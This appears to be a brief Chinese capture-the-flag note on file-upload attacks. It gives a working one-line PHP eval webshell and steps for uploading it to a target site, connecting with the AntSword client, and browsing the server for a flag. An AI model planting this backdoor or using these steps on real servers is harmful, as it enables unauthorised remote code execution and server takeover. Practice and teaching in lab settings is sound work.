文件上传（一句话木马）

先写好一句话木马(<?php @eval($_POST['1']);?>)(可先用记事本写,后将后缀改为php)，想办法将这个php文件上传到需要入侵的网站，上传成功后，打开蚁剑，新建数据，将网站的URL网址粘贴进去，再填入密码（上面木马的[]中的1即为密码，可自己设定），后点测试连接，成功后点添加。然后双击添加的数据即可访问网站对应的服务器，在其中可找到flag（一般在根目录下，根目录就是\）